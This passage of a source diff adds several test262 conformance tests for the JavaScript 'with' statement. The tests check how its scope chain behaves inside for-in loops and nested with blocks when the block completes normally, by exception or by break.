+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.5_T2.js
+ * @description Using "with" statement within "for-in" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ for(var prop in myObj){
+ with(myObj){
+ st_p1 = p1;
+ p1 = 'x1';
+ st_p2 = p2;
+ this.p2 = 'x2';
+ st_p3 = p3;
+ del = delete p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ throw value;
+ }
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T3.js
new file mode 100644
index 000000000..e4cace7e1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T3.js
@@ -0,0 +1,155 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.5_T3.js
+ * @description Using "with" statement within "for-in" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ for(var prop in myObj){
+ with(myObj){
+ throw value;
+ if(prop === 'p1') {
+ st_p1 = p1;
+ p1 = 'x1';
+ }
+ if(prop === 'p2') {
+ st_p2 = p2;
+ this.p2 = 'x2';
+ }
+ if(prop === 'p3') {
+ st_p3 = p3;
+ del = delete p3;
+ }
+ if(prop === 'parseInt') st_parseInt = parseInt;
+ if(prop === 'NaN') st_NaN = NaN;
+ if(prop === 'Infinity') st_Infinity = Infinity;
+ if(prop === 'eval') st_eval = eval;
+ if(prop === 'parseFloat') st_parseFloat = parseFloat;
+ if(prop === 'isNaN') st_isNaN = isNaN;
+ if(prop === 'isFinite') st_isFinite = isFinite;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === "myObj_value")){
+ $ERROR('#0: result === "myObj_value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === undefined)){
+ $ERROR('#4: p4 === undefined. Actual: p4 ==='+ p4 );
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T4.js
new file mode 100644
index 000000000..6655901d6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T4.js
@@ -0,0 +1,139 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.5_T4.js
+ * @description Using "with" statement within "for-in" statement, leading to completion by break
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+for(var prop in myObj){
+ with(myObj){
+ st_p1 = p1;
+ p1 = 'x1';
+ st_p2 = p2;
+ this.p2 = 'x2';
+ st_p3 = p3;
+ del = delete p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ break;
+ }
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T5.js
new file mode 100644
index 000000000..1273f5166
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.5_T5.js
@@ -0,0 +1,147 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.5_T5.js
+ * @description Using "with" statement within "for-in" statement, leading to completion by break
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+for(var prop in myObj){
+ with(myObj){
+ break;
+ if(prop === 'p1') {
+ st_p1 = p1;
+ p1 = 'x1';
+ }
+ if(prop === 'p2') {
+ st_p2 = p2;
+ this.p2 = 'x2';
+ }
+ if(prop === 'p3') {
+ st_p3 = p3;
+ del = delete p3;
+ }
+ if(prop === 'parseInt') st_parseInt = parseInt;
+ if(prop === 'NaN') st_NaN = NaN;
+ if(prop === 'Infinity') st_Infinity = Infinity;
+ if(prop === 'eval') st_eval = eval;
+ if(prop === 'parseFloat') st_parseFloat = parseFloat;
+ if(prop === 'isNaN') st_isNaN = isNaN;
+ if(prop === 'isFinite') st_isFinite = isFinite;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === undefined)){
+ $ERROR('#4: p4 === undefined. Actual: p4 ==='+ p4 );
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.6_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.6_T1.js
new file mode 100644
index 000000000..608ceef9f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.6_T1.js
@@ -0,0 +1,138 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.6_T1.js
+ * @description Using "with" statement within another "with" statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ with(myObj){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.6_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.6_T2.js
new file mode 100644
index 000000000..8cfae1a8b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.6_T2.js
@@ -0,0 +1,147 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.6_T2.js
+ * @description Using "with" statement within another "with" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ with(myObj){
+ with(myObj){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ throw value;
+ }
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.6_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.6_T3.js
new file mode 100644
index 000000000..4774eb44d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.6_T3.js
@@ -0,0 +1,149 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.6_T3.js
+ * @description Using "with" statement within another "with" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ with(myObj){
+ with(myObj){
+ throw value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === "myObj_value")){
+ $ERROR('#0: result === "myObj_value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === undefined)){
+ $ERROR('#4: p4 === undefined. Actual: p4 ==='+ p4 );
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
